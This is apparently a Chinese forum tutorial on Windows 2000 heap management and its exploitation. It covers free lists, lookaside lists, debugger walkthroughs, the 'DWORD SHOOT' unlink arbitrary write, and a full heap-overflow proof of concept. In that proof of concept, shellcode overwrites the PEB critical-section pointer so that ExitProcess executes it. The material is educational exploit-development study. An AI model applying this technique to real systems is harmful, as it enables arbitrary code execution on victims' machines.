一
堆的数据结构与管理策略
堆块管理系统所返回的指针一般指向块身的起始位置,在程序中是感觉不到块首
的存在的。在连续进行内存申请时候,如果够细心可能就会发现,返回的内存之
间存在"空隙",那就是块首
空闲堆块的大小 = 索引项(ID) x 8(字节)
这里没有讨论堆缓存(heap cache)、低碎片堆(LFH)和虚分配。
实际上,堆区还有一种操作叫做内存紧缩(shrink the compact),由RtlCompactHeap执行,
这个操作的效果与磁盘碎片整理差不多,会对整个堆进行调整,尽量合并可以用的碎片
小块:SIZE < 1KB
大块:1KB =< SIZE < 512KB
巨块:SIZE >= 512KB
二
堆调试
ntdll.dll
中的RtAllocateHeap()
函数进行分配,这个函数也是在用户态能够看到的最底层的函数分配函数。所谓万变不离其宗,这个"宗"就是RtlAllocateHeap()
。因此,研究Windows堆只要研究这个函数即可。#include <windows.h>
int main()
{
HLOCAL h1,h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
//free block and prevent coaleses
HeapFree(hp,0,h1); //free to freelist[2]
HeapFree(hp,0,h3); //free to freelist[2]
HeapFree(hp,0,h5); //free to freelist[4]
HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to
//freelist[8]
return 0;
}
Visual C++ 6.0
操作系统 Windows 2000
Ollydbg
、Windbg
来加载程序,否则堆管理函数会检测到当前进程处于调试状态,而是用调试态堆管理策略。0xAB
和8个字节0x00
。debug
版本的PE
和release
版本的PE
一样。attach
运行中的进程。如果默认的调试器是Ollydby
,那么直接单击"调试"将自动打开Ollydby
并attach
进程,并在断点处停下。如图八所示:attach
成功之后,根据实验源码可以直到,分配给我们的堆地址此时在EAX
寄存器,如图九所示:0x00010000
的大小为0x1000
的进程堆,可以通过GetProcessHeap()
函数获取这个堆的句柄并使用;单击Ollydbg
中的M
按钮,就可以得到当前的内存映射状态,如图十所示:0x00370000
),现在我们直接去内存查看。如图十一所示,从0x00370000
开始,堆表中包含的信息依次是段表索引(Segment List)、虚表索引(Virtual Allocation list)空表使用标识(freelist usage bitmap)和空表索引区。0x178
处的空表索引区,其余的堆表一般与堆溢出利用关系不大,这里就不讨论了。0x688
处(启用快表后这个位置将是快表),这里算上堆基址就是0x00370688。
Freelist[0]
指向"尾块"。0x00370688
处查看尾块的状态。如图十四所示:0x00370480
,一般引用堆块的指针都会越过8个字节的块首,直接指向数据区。0x0130
,计算单位是8个字节,也就是0x980
字节。0x0688
处的尾块。Size
信息,最后吧Freelist[0]
指向新的尾块位置。Ollydbg
中单步运行到前六次分配结束,堆中的情况如图十六所示:0x00370178
查看freelist[0]中的空指针,会发现已经指向新尾块的位置,而不是原来的0x00370688
。如图十七所示:Freelist[2]
的空表,h5则会被链入freelist[4]。
free h1
的前向指针指向free h3
。而他们各自有指针指向freelist[2]
(0x00370188
)。0x00370178
查看空表索引区的情况,如图十九所示:freelist[0]
指向尾块。freelist[2]
指向free h1
和free h3
,而freelsit[4]
指向free h5
。0x003701B8
处可以取得freelist[8]
空闲块的位置(0x003706A8
)。0x0008
,其空表指针指向0x003701B8
,也就是freelist[8]
。0x00370188
处的freelist[2]
,原来标识的空表中有两个空闲块h1
和h3
,而现在只剩下了h1
,因为h3
在合并时被摘下了。0x00370198
处的freelist[4]
,原来标识的空表有一个空闲块h5
,现在被改为指向自身,因为h5
在合并时被摘下了。0x00370B8
处的freelist[8]
,原来指向自身,现在指向合并后的新空闲块0x003706A8
。#include <stdio.h>
#include <windows.h>
void main()
{
HLOCAL h1,h2,h3,h4;
HANDLE hp;
hp = HeapCreate(0,0,0);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
HeapFree(hp,0,h1);
HeapFree(hp,0,h2);
HeapFree(hp,0,h3);
HeapFree(hp,0,h4);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h2);
}
0x0688
偏移处了,这个位置被快表霸占。从偏移0x0178
处的空表索引区也可以看出这一点。如图二十一:0x0688
(0x00370688
)处来看一下快表,如图二十二所示:Freelist[0]
中依次申请8、16、24个字节的空间,然后再通过HeapFree
操作将其释放到快表中(快表未满时优先释放到快表中)。根据三个对快的大小我们可以直到8字节的会被插入到Lookaside[1]
中、16字节的会被插入到Lookaside[2]
中、24字节的会被插入到Lookaside[3]
中。执行玩四次释放操作后快表区状态如下图二十三所示:0x00371EA0
附近观察一下堆块的状态,我们可以看见快表中的堆块与空表中的堆块有着两个明显的区别:0x01
,也就是这个堆块是busy状态,这也就是为什么快表中的堆块不进行合并操作的原因。如图二十四所示。Lookaside[2]
中卸载一个对快分配给程序,同时修改Lookaside[2]
表头。三
堆溢出利用(上)—— DWORD SHOOT
DOWRD SHOOT
发生时,我们不到可以控制设计的目标(任意地址)。还可以选用适当的子弹(4字节恶意数据)。DOWORD SHOOT 只是这里的叫法,其他地方可能会被叫做“arbitrary DWORD reset”。
DWORD SHOOT
,攻击者可以进而劫持进程,运行shellcode。如表二所示的几种情况。DWORD SHOOT
究竟时怎么发生的。将一个节点从双向链表中"卸下"的函数很可能就是类似这样的。int remove (ListNode *node)
{
node -> blink -> flinke = node -> flinke;
node -> flink -> blinke = node -> blinke;
return 0;
}
node -> blinke -> flinke = node -> flinke
将把伪造的flinke
指针值写入blinke
所指的地址中去,从而发生DWORD SHOOT
。这个过程如图二十六所示:DWORD SHOOT
发生的原理DWORD SHOOT
技术。用于调试代码如下:#include <windows.h>
int main()
{
HLOCAL h1, h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
_asm int 3//used to break the process
//free the odd blocks to prevent coalesing
HeapFree(hp,0,h1);
HeapFree(hp,0,h3);
HeapFree(hp,0,h5); //now freelist[2] got 3 entries
//will allocate from freelist[2] which means unlink the last entry
//(h5)
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
Windows 2000 虚拟机
Visual C++6.0
build版本:release
0x1000
的堆区。并从其中连续申请了6个大小为8字节的堆块(加上块首实际上是16字节),这应该是从初始化的大块中"切"下来的。freelist[2]
所标识的空表中应该链入了3个空闲堆块,他们依次是h1、h3、h5。freelist[2]
所标识的空表中分配,这意味着最后一个堆块h5被从空表中"卸下"。DWORD SHOOT
的发生。DWORD SHOOT
前堆的状态0x0370680
处开始,共有七个堆块,如表三所示:freelist[0]
和freelist[2]
之外,所有的空表索引都为空(指向自身)。freelist[2]
最后一项(原来的h5)分配出去,这意味着将最后一个节点从双向链表中"卸下"。DWORD SHOOT
现象。如图二十九所示:DWORD SHOOT
0x003706C8
处的前向指针修改为0xFFFFFFFF
后向指针修改为0x00370710
。当最后一个分配函数被调用后,我们可以看见0x00370710
地址处的数据被修改成了0xFFFFFFFF
(原本为0x00000000
)。DWORD SHOOT
的一种情况。事实上,堆块的分配、释放、合并操作都能引发DWORD SHOOT
(因为都涉及了链表操作),甚至快变也可以被用来制造DWORD SHOOT
。由于其原理基本一致,故不一一赘述。四
堆溢出利用(下)——代码植入
DWORD SHOOT
的机会。所以,堆溢出利用的精髓也就是DWORD SHOOT
的利用。DWORD SHOOT
的优点,但是"火力不足"有时也会限制堆溢出的利用,这样就需要选择最重要的目标用来“狙击”。PEB
中的同步指针函数为例,给出一个完整的利用堆溢出执行shellcode的例子。DWORD SHOOT
的常用目标打开可以概括为以下几类:0x90
(nop)。DWORD SHOOT
更改函数返回地址。但由于栈帧位移的原因,函数返回地址往往是不固定的,甚至在同一操作系统和补丁版本下连续运行两次栈状态都会有不同。DWORD SHOOT
的上等目标,这包括SEH
(structure exception handler
)、FVEH
(First Vectored Exception Handle
)、进程环境块PEB
中的UEF
(Unhandled Exception Filter
)、线程环境块TEB
中存放的第一个SEH
指针(TEH
)。PEH
中线程同步函数的入口地址 :指向RtlenterCriticalSection()
和RtlLeaveCriticalSection()
,并且在进程退出时会被ExitProcess()
调用。如果能够通过DWORD SHOOT
修改这对指针中的其中一个,那么在程序退出时ExitProcess()
将会被骗去执行我们的shellcode。由于PEB
的位置始终不变,这对指针在PEB
中的偏移也始终不会变化,这使得利用堆溢出开发适用于不同操作系统版本和补丁版本的exploit
成为了可能。ExitProcess()
函数要做很多善后工作,其中必然需要用到临界区函数RtlEnterCriticalSection()
和RtlLeaveCriticalSection()
用来同步线程防止“脏数据”的产生。ExitProcess()
调用临界区函数的方式比较独特,是通过进程环境块PEB
中偏移0x20
处存放的函数指针来间接完成的,具体来说,就是在0x7FFDF020
处存放着指向RtlEnterCriticalSection()
的指针,在0x7FFDF024
处存放着指向RtlLeaveCriticalSection()
的指针。0x7FFDE020
处的RtlEnterCriticalSection()
指针为目标,使用DWORD SHOOT
劫持进程\植入代码。#include <windows.h>
char shellcode[351] = {
0x90,0x90,0x90,0x90,0x90,0x90,0x90,...
};int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
__asm int 3 //used to break process
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
Windows 2000 虚拟机
Visual C++6.0
1.h1向堆中申请了200字节的空间。
2.memcpy
的上限错误的写成了0x200
,实际上时512字节,所以会产生溢出.
3.h1分配完成之后,后面紧接着的是一个大空闲块(尾块)。
4.超过200字节的数据将覆盖尾块的块首。
5.用伪造的指针覆盖尾块块首中的空表指针,当h2分配时,将导致DWORD SHOOT
.
6.DWORD SHOOT
的目标是0x7FFDF020
处的RtlEnterCriticalSection()
函数指针,可以简单地将其直接修改为shellcode的地址。
7.DWORD SHOOT
完毕后,堆溢出导致异常,最终调用ExitProcess()
结束进程。
8.ExitProcess()
在结束进程时需要调用临界区函数来同步线程,但却从PEB
中拿出了指向shellcode的指针,因此shellcode被执行。
0x7FFDF020
处的函数指针为0x77F82060。
#include <windows.h>
char shellcode[] = {
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90,
0xB8, 0x20, 0xF0, 0xFD, 0x7F, //MOV EAX,7FFDF020
0xBB, 0x60, 0x20, 0xF8, 0x77, //MOV EBX,77F82060 ;这个地址需要调试时确定
0x89, 0x18, //MOV [EAX],EBX
0xFC, 0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x68, 0x63,
0x89, 0xD1, 0x4F, 0x68, 0x32, 0x74, 0x91, 0x0C,
0x8B, 0xF4, 0x8D, 0x7E, 0xF4, 0x33, 0xDB, 0xB7,
0x04, 0x2B, 0xE3, 0x66, 0xBB, 0x33, 0x32, 0x53,
0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0x33, 0xD2,
0x64, 0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B,
0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xAD,
0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0x05, 0x95,
0xFF, 0x57, 0xF8, 0x95, 0x60, 0x8B, 0x45, 0x3C,
0x8B, 0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59,
0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34,
0xBB, 0x03, 0xF5, 0x99, 0x0F, 0xBE, 0x06, 0x3A,
0xC4, 0x74, 0x08, 0xC1, 0xCA, 0x07, 0x03, 0xD0,
0x46, 0xEB, 0xF1, 0x3B, 0x54, 0x24, 0x1C, 0x75,
0xE4, 0x8B, 0x59, 0x24, 0x03, 0xDD, 0x66, 0x8B,
0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03,
0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57, 0x61, 0x3D,
0x6A, 0x0A, 0x38, 0x1E, 0x75, 0xA9, 0x33, 0xDB,
0x53, 0x68, 0x66, 0x66, 0x66, 0x66, 0x68, 0x66,
0x66, 0x66, 0x66, 0x8B, 0xC4, 0x53, 0x50, 0x50,
0x53, 0xFF, 0x57, 0xFC, 0x53, 0xFF, 0x57, 0xF8,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x16, 0x01, 0x1A, 0x00, 0x00, 0x10, 0x00, 0x00,//块首信息
0x88, 0x06, 0x37, 0x00, //shellcode地址
0x20, 0xF0, 0xFD, 0x7F //RtlEnterCriticalSection函数指针地址
};int main(){
HLOCAL h1=0,h2=0;
HANDLE hp;
hp=HeapCreate(0,0x1000,0x10000);
h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
//__asm int 3
memcpy(h1,shellcode,0x200);
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8); //DWORD SHOOT
return 0;
}
PEB 中存放 RtlEnterCriticalSection()函数指针的位置 0x7FFDF020 是固定的,但是,RtlEnterCriticalSection()的地址也就是这个指针的值 0x77F82060 有可能会因为补丁和操作系统而不一样,请在调试时确定
看雪ID:Tray_PG
https://bbs.kanxue.com/user-home-879928.htm
# 往期推荐
球分享
球点赞
球在看